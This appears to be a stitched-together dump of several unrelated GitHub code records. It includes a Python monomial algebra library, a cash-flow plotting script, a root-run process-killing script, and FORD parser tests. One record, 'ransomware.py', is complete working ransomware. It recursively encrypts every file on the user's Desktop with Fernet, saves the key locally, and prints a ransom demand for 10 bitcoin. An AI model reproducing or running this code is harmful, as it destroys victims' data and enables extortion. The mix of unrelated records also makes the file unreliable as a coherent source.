other.variables\n\n def has_root(self, index):\n \"\"\"\n Checks if the monomial \"has\" the root:\n the monomial `4x**2`, for example, is a square,\n so we can say it has root 2, because `(4x**2)**(1/2)`\n is a monomial (`2x`).\n\n >>> Monomial(4, x=2).has_root(2)\n True\n\n We can't say the same thing for `16a**4b`:\n\n >>> Monomial(16, a=4, b=1).has_root(2)\n False\n\n Zero has all the roots\n\n >>> Monomial(0).has_root(700)\n True\n\n :raises: TypeError\n :type index: int\n :rtype: bool\n \"\"\"\n\n # check if index is int\n if not isinstance(index, int):\n raise TypeError(f\"root index must be int, not {index.__class__.__name__}\")\n\n # return always true if the coefficient is 0\n elif not self.coefficient:\n return True\n\n # return always false if index is even and\n # coefficient is negative\n elif not index % 2 and self.coefficient < 0:\n return False\n\n # try to apply the root to the index\n coefficient = abs(self.coefficient) ** Fraction(1, index)\n\n return coefficient.is_integer() and self.variables % index\n\n def root(self, index):\n \"\"\"\n Calculates the root of given index of the monomial\n\n >>> Monomial(4, x=2).root(2)\n 2x\n >>> Monomial(-27, a=9).root(3)\n -3a**3\n >>> Monomial(0).root(700)\n 0\n\n If a monomial hasn't a root, it raises a `ValueError`\n\n >>> Monomial(5, b=2).root(3)\n Traceback (most recent call last):\n ...\n ValueError: this monomial hasn't root 3\n\n To see if a monomial has a root, use :func:`Monomial.has_root()`.\n\n :raises: ValueError\n :rtype: Monomial\n \"\"\"\n\n # check if the monomial has the root\n if not self.has_root(index):\n raise ValueError(f\"this monomial hasn't root {index}\")\n\n # apply the root\n coefficient = abs(self.coefficient) ** Fraction(1, index)\n variables = self.variables / index\n\n # check if the coefficient is negative\n if self.coefficient < 0:\n coefficient = -coefficient\n\n return Monomial(coefficient, variables)\n\n def gcd(self, other):\n \"\"\"\n Calculates the greatest common divisor of two\n monomials or numbers\n\n >>> a = Monomial(5, x=1, y=1)\n >>> b = Monomial(15, x=1)\n >>> a.gcd(b)\n 5x\n\n It works only with integer coefficient that\n aren't equal to zero\n\n >>> a.gcd(3.14)\n Traceback (most recent call last):\n ...\n ValueError: Monomial coefficient must be a whole number\n >>> a.gcd(Monomial(3.14))\n Traceback (most recent call last):\n ...\n ValueError: Monomial coefficient must be a whole number\n >>> b.gcd(0)\n Traceback (most recent call last):\n ...\n ValueError: Coefficient can't be zero\n\n The result is always positive\n\n >>> c = Monomial(-30, x=1, y=1)\n >>> b.gcd(c)\n 15x\n\n If you want to calculate the gcd with more\n factors, you can use the shorthand :func:`gcd`.\n\n :type others: Monomial, int, float, Fraction\n :rtype: Monomial, Fraction\n :raise: TypeError, ValueError\n \"\"\"\n\n # Check type of the second operand\n if isinstance(other, (int, float, Fraction)):\n other = Monomial(other)\n elif not isinstance(other, Monomial):\n raise TypeError(f\"Can't calculate gcd between Monomial and {other.__class__.__name__}\")\n\n # Check if operands are legal\n for monomial in (self, other):\n if not monomial.coefficient.denominator == 1:\n raise ValueError(\"Monomial coefficient must be a whole number\")\n elif monomial.coefficient == 0:\n raise ValueError(\"Coefficient can't be zero\")\n\n # Calculate the gcd of the coefficients\n coefficient = math_gcd(int(self.coefficient), int(other.coefficient))\n\n # Calculate the gcd of the variables\n variables = {}\n for variable in self.variables:\n variables[variable] = min(self.variables[variable], other.variables[variable])\n\n return Monomial(coefficient, variables)\n\n def lcm(self, other):\n \"\"\"\n Calculates the least common multiple of two monomials or numbers\n\n >>> a = Monomial(2, x=1, y=1)\n >>> b = Monomial(-9, y=3)\n >>> a.lcm(b)\n 18xy**3\n\n If you want to know more, please check :func:`Monomial.gcd`.\n\n If you want to calculate the lcm between more\n monomials, you can use the :func:`lcm` shorthand.\n\n :type others: Monomial, int, float, Fraction\n :rtype: Monomial, Fraction\n :raise: TypeError, ValueError\n \"\"\"\n\n return abs(self * other) / self.gcd(other)\n\n def eval(self, values=VariablesDict(), **kwargs):\n \"\"\"\n Evaluates the monomial, giving values\n for each variable\n\n >>> m = Monomial(5, x=1, y=1)\n >>> m.eval(x=2, y=3)\n Fraction(30, 1)\n\n **NB:** *if there are no variables left,\n it returns only the coefficient, as instance\n of :class:`Fraction`.*\n\n You can also assign variables' values\n with a dictionary (or any subclass)\n\n >>> m.eval({'x': 2, 'y': 3})\n Fraction(30, 1)\n\n If you omit some variables' values,\n those variables will remain as they\n were\n\n >>> m.eval(x=2)\n 10y\n\n You can declare some variables values\n which aren't in the monomial and the\n result won't change\n\n >>> m.eval(b=7)\n 5xy\n\n The value for a variable can be a Monomial as well\n\n >>> m.eval(x=Monomial(3, y=1))\n 15y**2\n\n :type values: int, float, Fraction, Monomial\n :rtype: int, float, Monomial\n :raise: TypeError\n \"\"\"\n\n # use multiple initializations\n if not values:\n values = kwargs\n\n # lowerize the variables and prepare the result\n values = {v.lower(): values[v] for v in values}\n result = Monomial(self.coefficient, self.variables)\n\n # for every variable that is in the result\n for variable in values:\n if variable in result.variables:\n # multiply the result for the value\n # raised to the exponent, then remove the variable\n exp = result.variables[variable.lower()]\n result *= (values[variable] ** exp)\n result /= Monomial({variable: exp})\n\n # If there are no variables, return only the coefficient\n if result.variables.is_empty:\n return result.coefficient\n\n return result\n\n ### Operations Methods ###\n\n def __add__(self, other):\n \"\"\"\n Sums two monomials\n\n >>> Monomial(5, x=1, y=3) + Monomial(-1.5, x=1, y=3)\n 7/2xy**3\n\n You can also sum a monomial and a number, but the\n result will be an instance of `Polynomial`.\n\n >>> Monomial(1, z=1) + 17\n z + 17\n\n :type other: Monomial, Polynomial, int, float, Fraction\n :rtype: Monomial, Polynomial\n :raise: TypeError\n \"\"\"\n\n from . import Polynomial\n\n # monomial + monomial\n if isinstance(other, Monomial):\n # Opposite monomial\n if self == -other:\n return Monomial(0)\n\n # Simil monomial\n elif self.similar_to(other):\n return Monomial(self.coefficient + other.coefficient, self.variables)\n\n # Generic monomial\n else:\n return Polynomial(self, other)\n\n # monomial + number\n elif isinstance(other, (int, float, Fraction)):\n if self.variables.is_empty:\n return Monomial(self.coefficient + other)\n\n else:\n return Polynomial(self, other)\n\n # monomial + polynomial\n elif isinstance(other, Polynomial):\n return other + self\n\n else:\n raise TypeError(f\"unsupported operand type(s) for +: 'Monomial' and '{other.__class__.__name__}'\")\n\n def __sub__(self, other):\n \"\"\"\n Subtracts two monomials\n\n >>> Monomial(5, x=1) - Monomial(3, x=1)\n 2x\n\n If the monomials are not similar or the second\n operand is a number, the result will be a\n polynomial\n\n >>> Monomial(5, x=1, y=3) - Monomial(3, x=1)\n 5xy**3 - 3x\n >>> Monomial(17, a=1, b=1) - 2.5\n 17ab - 5/2\n\n :type other: Polynomial, Monomial, int, float, Fraction\n :rtype: Monomial, Polynomial\n :raise: TypeError\n \"\"\"\n\n from . import Polynomial\n\n try:\n return self + (-other)\n except TypeError:\n raise TypeError(f\"unsupported operand type(s) for -: 'Monomial' and '{other.__class__.__name__}'\")\n\n def __mul__(self, other):\n \"\"\"\n Multiplicates two monomials or a monomial\n and a number\n\n >>> Monomial(5, x=1, y=2) * Monomial(2, a=1, b=1)\n 10abxy**2\n >>> Monomial(3, c=2) * 5\n 15c**2\n\n :type other: Polynomial, Monomial, int, float, Fraction\n :rtype: Polynomial, Monomial\n :raise: TypeError\n \"\"\"\n\n from . import Polynomial\n\n # numbers\n if isinstance(other, (int, float, Fraction)):\n other = Monomial(other)\n\n # monomials\n if isinstance(other, Monomial):\n coefficient = self.coefficient * other.coefficient\n variables = self.variables + other.variables\n\n return Monomial(coefficient, variables)\n\n # polynomials\n elif isinstance(other, Polynomial):\n return other * self\n\n else:\n raise TypeError(f\"unsupported operand type(s) for *: 'Monomial' and '{other.__class__.__name__}'\")\n\n def __truediv__(self, other):\n \"\"\"\n Divides two monomials or a monomial and a number\n\n >>> Monomial(6, a=3) / Monomial(3, a=1)\n 2a**2\n >>> Monomial(18, k=3) / 6\n 3k**3\n\n If `other`'s variable's exponents\n are higher than this monomial's, it raises a\n `ValueError`\n\n >>> Monomial(5) / Monomial(4, x=1)\n Traceback (most recent call last):\n ...\n ValueError: variable's exponent must be positive\n\n :type other: Monomial, int, float, Fraction\n :rtype: Monomial\n :raise: ValueError, TypeError\n \"\"\"\n\n if isinstance(other, (int, float, Fraction)):\n other = Monomial(other)\n\n if isinstance(other, Monomial):\n coefficient = Fraction(self.coefficient, other.coefficient)\n variables = self.variables - other.variables\n return Monomial(coefficient, variables)\n\n else:\n raise TypeError(f\"unsupported operand type(s) for /: 'Monomial' and '{other.__class__.__name__}'\")\n\n def __pow__(self, exp):\n \"\"\"\n Raises a monomial to a given power\n\n >>> Monomial(5, x=1) ** 2\n 25x**2\n\n If the exponent is 0, the result will be 1\n\n >>> Monomial(5, k=6) ** 0\n 1\n\n It raises a `ValueError` if the exponent is negative\n\n >>> Monomial(17, k=1) ** (-1)\n Traceback (most recent call last):\n ...\n ValueError: Exponent can't be negative\n\n It raises a `TypeError` if `exp` isn't an istance of `int`.\n\n >>> Monomial(3.14, a=3) ** 2.5\n Traceback (most recent call last):\n ...\n TypeError: unsupported operand type(s) for ** or pow(): 'Monomial' and 'float'\n\n To calculate roots, use :func:`Monomial.root`.\n\n :type exp: int\n :rtype: Monomial\n :raise: ValueError, TypeError\n \"\"\"\n\n # if the exponent is not an integer raise a typeerror\n if not isinstance(exp, int):\n raise TypeError(f\"unsupported operand type(s) for ** or pow(): 'Monomial' and '{exp.__class__.__name__}'\")\n\n # return 1 if the exponent is 0\n elif exp == 0:\n return 1\n\n # Raise an error if exponent is negative\n elif exp < 0:\n raise ValueError(\"Exponent can't be negative\")\n\n return Monomial(self.coefficient ** exp, self.variables * exp)\n\n ### Reversed Operations Method ###\n\n def __radd__(self, other):\n \"\"\"\n Reverse for :func:`Monomial.__add__`\n\n >>> 18 + Monomial(3)\n 21\n\n For more informations, see :func:`Monomial.__add__` docs.\n\n :type other: Polynomial, int, float, Fraction\n :rtype: Monomial, Polynomial\n :raise: TypeError\n \"\"\"\n\n try:\n return self + other\n except TypeError:\n raise TypeError(f\"unsupported operand type(s) for +: '{other.__class__.__name__}' and 'Monomial'\")\n\n def __rsub__(self, other):\n \"\"\"\n Reverse for :func:`Monomial.__sub__`\n\n >>> 9 - Monomial(4)\n 5\n\n For more informations, see :func:`Monomial.__sub__` docs.\n\n :type other: Polynomial, int, float, Fraction\n :rtype: Polynomial, Monomial\n :raise: TypeError\n \"\"\"\n\n try:\n return (- self) + other\n except TypeError:\n raise TypeError(f\"unsupported operand type(s) for -: '{other.__class__.__name__}' and 'Monomial'\")\n\n def __rmul__(self, other):\n \"\"\"\n Reverse for :func:`Monomial.__mul__`\n\n >>> 5 * Monomial(2, x=2)\n 10x**2\n\n For more informations, see :func:`Monomial.__mul__` docs.\n\n :type other: Polynomial, int, float, Fraction\n :rtype: Monomial, Polynomial\n :raise: TypeError\n \"\"\"\n\n try:\n return self * other\n except TypeError:\n raise TypeError(f\"unsupported operand type(s) for *: '{other.__class__.__name__}' and 'Monomial'\")\n\n def __rtruediv__(self, other):\n \"\"\"\n Reverse for :func:`Monomial.__truediv__`\n\n >>> 8 / Monomial(4)\n 2\n\n For more informations, see :func:`Monomial.__truediv__ docs`.\n\n :type other: int, float, Fraction\n :rtype: Monomial\n :raise: ValueError, TypeError\n \"\"\"\n\n if not isinstance(other, (int, float, Fraction)):\n raise TypeError(f\"unsupported operand type(s) for /: '{other.__class__.__name__}' and 'Monomial'\")\n\n if self.variables:\n raise ValueError(\"Exponent must be positive\")\n\n return Monomial(Fraction(other, self.coefficient))\n\n ### Magic Methods ###\n\n def __str__(self):\n \"\"\"\n Returns the monomial as a string.\n Normally, it will return the coefficient and\n the variables without spaces or *.\n\n The power is indicated with **.\n\n Examples:\n >>> str(Monomial(5, x=1, y=1))\n '5xy'\n >>> str(Monomial(a=2))\n 'a**2'\n >>> str(Monomial(-1, k=3))\n '-k**3'\n >>> str(Monomial(0, s=5))\n '0'\n >>> str(Monomial())\n '1'\n >>> str(Monomial(-1))\n '-1'\n\n Variables are displayed in alphabetical order\n\n >>> str(Monomial(5, k=2, b=3))\n '5b**3k**2'\n\n :rtype: str\n \"\"\"\n\n variables = \"\"\n\n # order the variables\n for variable, exponent in self.variables.items():\n if exponent > 1:\n variables += f\"{variable}**{exponent}\"\n else:\n variables += variable\n\n # coefficient == 1 w/ variables\n if self.coefficient == 1 and variables:\n return variables\n\n # coefficient == -1 and w/ variables\n elif self.coefficient == -1 and self.variables:\n return '-' + variables\n\n # coefficient == 0\n elif self.coefficient == 0:\n return '0'\n\n # coefficient == 1 w/o variables\n elif self.coefficient == 1 and not self.variables:\n return '1'\n\n # coefficient == -1 w/o variables\n elif self.coefficient == -1 and not self.variables:\n return '-1'\n\n # normal monomial\n else:\n return str(self.coefficient) + variables\n\n def __repr__(self):\n \"\"\"\n Return the monomial as a string\n\n >>> Monomial(5, x=5)\n 5x**5\n\n For more informations, see :func:Monomial.__str__()`.\n\n :rtype: str\n \"\"\"\n\n return self.__str__()\n\n def __eq__(self, other):\n \"\"\"\n Checks if two monomials are equivalent\n\n >>> Monomial(5, x=1) == Monomial(5, x=1)\n True\n\n If there are no variables, it can be\n compared also to a number\n\n >>> Monomial(4) == 4\n True\n\n If the second operand isn't a monomial or\n a number, it will return `False`.\n\n It works by comparing the hashes\n calculated with :func:`Monomial.__hash__`.\n\n :type other: Monomial, int, float, Fraction\n :rtype: bool\n :raise: TypeError\n \"\"\"\n\n try:\n return hash(self) == hash(other)\n except TypeError:\n return False\n\n def __neg__(self):\n \"\"\"\n Returns the opposite of the monomial\n\n >>> - Monomial(5, x=1, y=1)\n -5xy\n\n :rtype: Monomial\n \"\"\"\n\n return Monomial(-self.coefficient, self.variables)\n\n def __abs__(self):\n \"\"\"\n Returns the absolute value of the monomial\n\n >>> abs(Monomial(-3, a=1, b=4))\n 3ab**4\n\n :rtype: Monomial\n \"\"\"\n\n return Monomial(abs(self.coefficient), self.variables)\n\n def __hash__(self):\n \"\"\"\n Returns the hash for the Monomial\n\n The hash for `8xy`, for example, is equivalent\n to the hash of `(8, ('x', 1), ('y', 1))`.\n\n >>> hash(Monomial(8, x=1, y=1)) == hash((8, ('x', 1), ('y', 1)))\n True\n\n If the monomial has no variables, its hash\n will be equal to the coefficient's hash\n\n >>> hash(Monomial(3)) == hash(3)\n True\n\n :rtype: int\n \"\"\"\n\n if self.variables.is_empty:\n return hash(self.coefficient)\n\n return hash((self.coefficient, *self.variables.items()))\n\n\n# Variables shorthands\ndef Variable(letter):\n \"\"\"\n Returns a monomial of coefficient\n with the given variable\n\n >>> x = Variable('x')\n >>> x\n x\n\n With this you can create monomials and\n polynomial more easily\n\n >>> 3*x, type(3*x)\n (3x, )\n >>> 3*x + 5, type(3*x + 5)\n (3x + 5, )\n\n For more informations, see :func:`Monomial.__init__`\n \"\"\"\n\n return Monomial(1, {str(letter): 1})\n\n# GCD shorthand\ndef gcd(*args):\n \"\"\"\n Returns the gcd between two or more monomials.\n For more informations, see :func:`Monomial.gcd`\n \"\"\"\n\n if not isinstance(args[0], Monomial):\n args = (Monomial(args[0]),) + args[1:]\n\n return reduce(lambda x, y: x.gcd(y), args)\n\n# LCM shorthand\ndef lcm(*args):\n \"\"\"\n Returns the lcm between two or more monomials.\n For more informations, see :func:`Monomial.lcm`\n \"\"\"\n\n if not isinstance(args[0], Monomial):\n args = (Monomial(args[0]),) + args[1:]\n\n return reduce(lambda x, y: x.lcm(y), args)\n","repo_name":"gianluparri03/ruffini","sub_path":"src/ruffini/monomials.py","file_name":"monomials.py","file_ext":"py","file_size_in_byte":22588,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"34576881950","text":"import os\nfrom cryptography.fernet import Fernet\n\nfiles = []\n\ndef filelist(path):\n for file in os.listdir(path):\n full_path = os.path.join(path, file)\n if file == \"ransomware.py\" or file == \"thekey.key\" or file == \"decrypt.py\":\n continue\n elif os.path.isfile(full_path):\n files.append((path, file))\n else:\n filelist(full_path)\n\n# Provide the absolute path of the Desktop directory\nroot_directory = os.path.expanduser(\"~/Desktop\")\nfilelist(root_directory)\n\nkey = Fernet.generate_key()\nwith open(\"thekey.key\", \"wb\") as f:\n f.write(key)\n\n# Encrypt all files in the files list.\nfor path, file in files:\n full_path = os.path.join(path, file)\n with open(full_path, \"rb\") as f:\n contents = f.read()\n encrypted_contents = Fernet(key).encrypt(contents)\n with open(full_path, \"wb\") as f:\n f.write(encrypted_contents)\n\nprint(\"Your files are all encrypted!!! Send 10 bitcoin in the next 24 hours to unlock your files.\")\n","repo_name":"VanshPT/Ransomware-Malware-for-UNIX-based-system-Desktop-directory","sub_path":"ransomware.py","file_name":"ransomware.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"16622530669","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns; sns.set()\n\ncondition = ['Light Rehab', 'Low Rehab', 'Medium Rehab', 'High Rehab']\nrevenue = [0, 912.5, 1825, 3650]\nexpenses = [1613.67, 1613.67, 1613.67, 2757.67]+608.33\nbarWidth = .25\n\nr1=np.arange(4)\nr2=[x+barWidth for x in r1]\n\nplt.bar(r1, revenue, width=barWidth, label='revenue')\nplt.bar(r2, expenses, width=barWidth, label='expenses')\n\n\nfor i, v in enumerate(revenue):\n noi = v - expenses[i]\n plt.text(i-.18 , v + .1, str(round(noi,0)), color='b', fontweight='bold')\n\nplt.ylabel('$')\nplt.title('Monthly Cash Flow')\nplt.xticks([r + barWidth for r in range(4)], condition)\nplt.legend()\nplt.savefig('monthly_cash_flow.png')\nplt.show()\n","repo_name":"geofflangenderfer/mom","sub_path":"bar.py","file_name":"bar.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2673428078","text":"import psutil\nimport os\nimport pwd\nimport sys\nfrom collections import defaultdict\n\nmypid=os.getpid()\n\n#Check if run as root\nwhite_list_pname = [ \"systemd\", \"kthreadd\", \"apport-gtk\"]\nwhite_list_pid =[]\n\nif (os.geteuid()) != 0:\n print(\"[-] Not Root\")\nelse:\n #whitelist this python script and all parents\n cursor=psutil.Process()\n ende=0\n while cursor != None:\n white_list_pid.append(cursor.pid)\n cursor=cursor.parent()\n print(white_list_pid)\n\nmydict = defaultdict(list)\nps_dict = defaultdict(list)\n\ndef on_terminate(proc):\n print(\"[+] Terminating Child: %s\" % (str(proc)))\n\ndef killpid(pid):\n parent = psutil.Process(pid)\n\n print(len(parent.children()))\n children=parent.children(recursive=True)\n for child in children:\n try:\n child.terminate()\n except Exception as e :\n print(\"[-] FAILED - Terminating Child: %s\" % (str(child)))\n print(\"[-] ERROR: %s\" % str(e))\n\n\n gone, still_alive = psutil.wait_procs(children, timeout=3, callback=on_terminate)\n\n for child in still_alive:\n try:\n child.kill()\n except Exception as e :\n print(\"[-] FAILED - Terminating Child: %s\" % (str(child)))\n print(\"[-] ERROR: %s\" % str(e))\n else:\n print(\"[+] Terminating Child: %s\" % (str(child)))\n try:\n parent.terminate()\n parent.wait(timeout=3)\n parent.kill()\n except Exception as e:\n print(\"[-] FAILED - Killing Process: %s\" % (str(parent)))\n print(\"[-] ERROR: %s\" % str(e))\n else:\n print(\"[+] Process Killes: %s\" % (str(parent)))\n\n\n\ndef printproc(p: psutil.Process):\n return \"{0}({1})\".format(p.name(),p.pid())\n\n\ndef printchild(p: psutil.Process):\n output=printproc(p) + \"-\"\n for c in p.children():\n output+=printproc(c)\n\n\n#Fill ps_dict with processes\nfor proc in psutil.process_iter():\n try:\n pinfo = proc.as_dict(attrs=['pid','uids','ppid','name','create_time','terminal','username'])\n except psutil.NoSuchProcess:\n pass\n else:\n pid=str(pinfo['pid'])\n ps_dict[pid]=pinfo\n\n\n#Walk ps_dict and fill in missing information\nfor key in ps_dict:\n p=ps_dict[key]\n ppid=str(p['ppid'])\n if ppid in ps_dict:\n pp=ps_dict[ppid]\n p['ppname'] = pp['name']\n p['ppusername'] = pp['username']\n p['ppuids'] = pp['uids']\n p['ppcreate_time'] = pp['create_time']\n\n\n#Kill all escalators\nto_kill=[]\n\nfor key in ps_dict:\n p=ps_dict[key]\n if 'ppusername' in p and 'real=0' in str(p['uids']) and p['username'] not in p['ppusername']:\n if p['name'] not in white_list_pname:\n print(\"[+] Escalted Process found: %s (%s)\" % (str(p['name']),str(p['pid'])))\n printchild(psutil.Process(p['pid']))\n\n\n\nfor pid in to_kill:\n if pid not in white_list_pid:\n killpid(pid)\n","repo_name":"tkessels/gists","sub_path":"codegrab/ctf/ps_.py","file_name":"ps_.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1468372572","text":"from ford.sourceform import FortranSourceFile, FortranModule, parse_type\n\nfrom collections import defaultdict\nfrom dataclasses import dataclass\nfrom typing import Union\n\nimport markdown\nimport pytest\n\n\n@pytest.fixture\ndef parse_fortran_file(copy_fortran_file):\n def parse_file(data):\n filename = copy_fortran_file(data)\n settings = defaultdict(str)\n settings[\"docmark\"] = \"!\"\n settings[\"encoding\"] = \"utf-8\"\n\n return FortranSourceFile(str(filename), settings)\n\n return parse_file\n\n\ndef test_extends(parse_fortran_file):\n \"\"\"Check that types can be extended\"\"\"\n\n data = \"\"\"\\\n program foo\n !! base type\n type :: base\n end type base\n\n !! derived type\n type, extends(base) :: derived\n end type\n\n !! derived type but capitalised\n type, EXTENDS(base) :: derived_capital\n end type\n\n end program foo\n \"\"\"\n\n fortran_type = parse_fortran_file(data)\n\n assert len(fortran_type.programs) == 1\n\n program = fortran_type.programs[0]\n\n assert len(program.types) == 3\n assert program.types[1].extends == \"base\"\n assert program.types[2].extends == \"base\"\n\n\ndef test_submodule_procedure_contains(parse_fortran_file):\n \"\"\"Check that submodule procedures can have 'contains' statements\"\"\"\n\n data = \"\"\"\\\n module foo_m\n implicit none\n interface\n module subroutine foo()\n implicit none\n end subroutine\n end interface\n end module\n\n submodule(foo_m) foo_s\n implicit none\n contains\n module procedure foo\n contains\n subroutine bar()\n end subroutine\n end procedure\n end submodule\n \"\"\"\n\n fortran_type = parse_fortran_file(data)\n\n assert len(fortran_type.modules) == 1\n assert len(fortran_type.submodules) == 1\n submodule = fortran_type.submodules[0]\n assert len(submodule.modprocedures) == 1\n module_procedure = submodule.modprocedures[0]\n assert len(module_procedure.subroutines) == 1\n\n\ndef test_backslash_in_character_string(parse_fortran_file):\n \"\"\"Bad escape crash #296\"\"\"\n\n data = r\"\"\"\\\n module test_module\n character(len=*),parameter,public:: q = '(?)'\n character(len=*),parameter,public:: a = '\\a'\n character(len=*),parameter,public:: b = '\\b'\n character(len=*),parameter,public:: c = '\\c'\n end module test_module\n \"\"\"\n\n source = parse_fortran_file(data)\n module = source.modules[0]\n\n expected_variables = {\"q\": r\"'(?)'\", \"a\": r\"'\\a'\", \"b\": r\"'\\b'\", \"c\": r\"'\\c'\"}\n\n for variable in module.variables:\n assert variable.initial == expected_variables[variable.name]\n\n\ndef test_sync_images_in_submodule_procedure(parse_fortran_file):\n \"\"\"Crash on sync images inside module procedure in submodule #237\"\"\"\n\n data = \"\"\"\\\n module stuff\n interface\n module subroutine foo()\n end subroutine\n end interface\n end module\n\n submodule(stuff) sub_stuff\n implicit none\n contains\n module procedure foo\n sync images(1)\n end procedure\n end submodule\n \"\"\"\n\n parse_fortran_file(data)\n\n\ndef test_function_and_subroutine_call_on_same_line(parse_fortran_file):\n \"\"\"Regex does not check for nested calls #256\"\"\"\n\n data = \"\"\"\\\n program test\n call bar(foo())\n contains\n integer function foo()\n end function foo\n subroutine bar(thing)\n integer, intent(in) :: thing\n end subroutine bar\n end program test\n \"\"\"\n\n fortran_file = parse_fortran_file(data)\n program = fortran_file.programs[0]\n assert len(program.calls) == 2\n expected_calls = {\"bar\", \"foo\"}\n assert set(program.calls) == expected_calls\n\n\ndef test_component_access(parse_fortran_file):\n data = \"\"\"\\\n module mod1\n integer :: anotherVar(20)\n type typeOne\n integer :: ivar(10)\n end type typeOne\n type(typeOne) :: One\n end module mod1\n\n module mod2\n type typeTwo\n integer :: ivar(10)\n end type typeTwo\n type(typeTwo) :: Two\n end module mod2\n\n subroutine with_space\n use mod2\n integer :: a\n a = 3\n Two% ivar(:) = a\n end subroutine with_space\n\n program main\n integer :: i, j\n integer :: zzz(5)\n\n type typeThree\n integer :: ivar(10)\n end type typeThree\n type(typeThree) :: Three\n\n call with_space()\n call without_space()\n anotherVar(3) = i\n j = zzz(3)\n\n Three% ivar(3) = 7\n end program\n \"\"\"\n\n fortran_file = parse_fortran_file(data)\n\n expected_variables = {\"i\", \"j\", \"zzz\", \"Three\"}\n actual_variables = {var.name for var in fortran_file.programs[0].variables}\n assert actual_variables == expected_variables\n\n\ndef test_format_statement(parse_fortran_file):\n \"\"\"No function calls in `format` statements are allowed, so don't\n confuse them with format specifiers. Issue #350\"\"\"\n\n data = \"\"\"\\\n program test_format_statement\n implicit none\n write (*, 300)\n 300 format (/1X, 44('-'), ' Begin of test2 Calculation ', 33('-')//)\n end program test_format_statement\n \"\"\"\n\n fortran_file = parse_fortran_file(data)\n assert fortran_file.programs[0].calls == []\n\n\ndef test_enumerator_with_kind(parse_fortran_file):\n \"\"\"Checking enumerators with specified kind, issue #293\"\"\"\n\n data = \"\"\"\\\n module some_enums\n use, intrinsic :: iso_fortran_env, only : int32\n enum, bind(c)\n enumerator :: item1, item2\n enumerator :: list1 = 100_int32, list2\n enumerator :: fixed_item1 = 0, fixed_item2\n end enum\n end module some_enums\n \"\"\"\n\n fortran_file = parse_fortran_file(data)\n enum = fortran_file.modules[0].enums[0]\n assert enum.variables[0].name == \"item1\"\n assert enum.variables[0].initial == 0\n assert enum.variables[1].name == \"item2\"\n assert enum.variables[1].initial == 1\n assert enum.variables[2].name == \"list1\"\n assert enum.variables[2].initial == \"100_int32\"\n assert enum.variables[3].name == \"list2\"\n assert enum.variables[3].initial == 101\n assert enum.variables[4].name == \"fixed_item1\"\n assert enum.variables[4].initial == \"0\"\n assert enum.variables[5].name == \"fixed_item2\"\n assert enum.variables[5].initial == 1\n\n\nclass FakeModule(FortranModule):\n def __init__(\n self, procedures: dict, interfaces: dict, types: dict, variables: dict\n ):\n self.pub_procs = procedures\n self.pub_absints = interfaces\n self.pub_types = types\n self.pub_vars = variables\n\n\ndef test_module_get_used_entities_all():\n mod_procedures = {\"subroutine\": \"some subroutine\"}\n mod_interfaces = {\"abstract\": \"interface\"}\n mod_types = {\"mytype\": \"some type\"}\n mod_variables = {\"x\": \"some var\"}\n\n module = FakeModule(mod_procedures, mod_interfaces, mod_types, mod_variables)\n\n procedures, interfaces, types, variables = module.get_used_entities(\"\")\n\n assert procedures == mod_procedures\n assert interfaces == mod_interfaces\n assert types == mod_types\n assert variables == mod_variables\n\n\ndef test_module_get_used_entities_some():\n mod_procedures = {\"subroutine\": \"some subroutine\"}\n mod_interfaces = {\"abstract\": \"interface\"}\n mod_types = {\"mytype\": \"some type\"}\n mod_variables = {\"x\": \"some var\", \"y\": \"some other var\"}\n\n module = FakeModule(mod_procedures, mod_interfaces, mod_types, mod_variables)\n\n procedures, interfaces, types, variables = module.get_used_entities(\n \", only: x, subroutine\"\n )\n\n assert procedures == mod_procedures\n assert interfaces == {}\n assert types == {}\n assert variables == {\"x\": mod_variables[\"x\"]}\n\n\ndef test_module_get_used_entities_rename():\n mod_procedures = {\"subroutine\": \"some subroutine\"}\n mod_interfaces = {\"abstract\": \"interface\"}\n mod_types = {\"mytype\": \"some type\"}\n mod_variables = {\"x\": \"some var\", \"y\": \"some other var\"}\n\n module = FakeModule(mod_procedures, mod_interfaces, mod_types, mod_variables)\n\n procedures, interfaces, types, variables = module.get_used_entities(\n \", only: x, y => subroutine\"\n )\n\n assert procedures == {\"y\": mod_procedures[\"subroutine\"]}\n assert interfaces == {}\n assert types == {}\n assert variables == {\"x\": mod_variables[\"x\"]}\n\n\ndef test_module_default_access(parse_fortran_file):\n data = \"\"\"\\\n module default_access\n ! No access keyword\n integer :: int_public, int_private\n private :: int_private\n real :: real_public\n real, private :: real_private\n\n type :: type_public\n complex :: component_public\n complex, private :: component_private\n end type type_public\n\n type :: type_private\n character(len=1) :: string_public\n character(len=1), private :: string_private\n end type type_private\n\n private :: sub_private, func_private, type_private\n\n contains\n subroutine sub_public\n end subroutine sub_public\n\n subroutine sub_private\n end subroutine sub_private\n\n integer function func_public()\n end function func_public\n\n integer function func_private()\n end function func_private\n end module default_access\n \"\"\"\n\n fortran_file = parse_fortran_file(data)\n fortran_file.modules[0].correlate(None)\n\n assert set(fortran_file.modules[0].all_procs.keys()) == {\n \"sub_public\",\n \"func_public\",\n \"sub_private\",\n \"func_private\",\n }\n assert set(fortran_file.modules[0].pub_procs.keys()) == {\n \"sub_public\",\n \"func_public\",\n }\n assert set(fortran_file.modules[0].all_types.keys()) == {\n \"type_public\",\n \"type_private\",\n }\n assert set(fortran_file.modules[0].pub_types.keys()) == {\n \"type_public\",\n }\n assert set(fortran_file.modules[0].all_vars.keys()) == {\n \"int_public\",\n \"int_private\",\n \"real_public\",\n \"real_private\",\n }\n assert set(fortran_file.modules[0].pub_vars.keys()) == {\n \"int_public\",\n \"real_public\",\n }\n\n\ndef test_module_public_access(parse_fortran_file):\n data = \"\"\"\\\n module public_access\n public\n integer :: int_public, int_private\n private :: int_private\n real :: real_public\n real, private :: real_private\n\n type :: type_public\n complex :: component_public\n complex, private :: component_private\n end type type_public\n\n type :: type_private\n character(len=1) :: string_public\n character(len=1), private :: string_private\n end type type_private\n\n private :: sub_private, func_private, type_private\n\n contains\n subroutine sub_public\n end subroutine sub_public\n\n subroutine 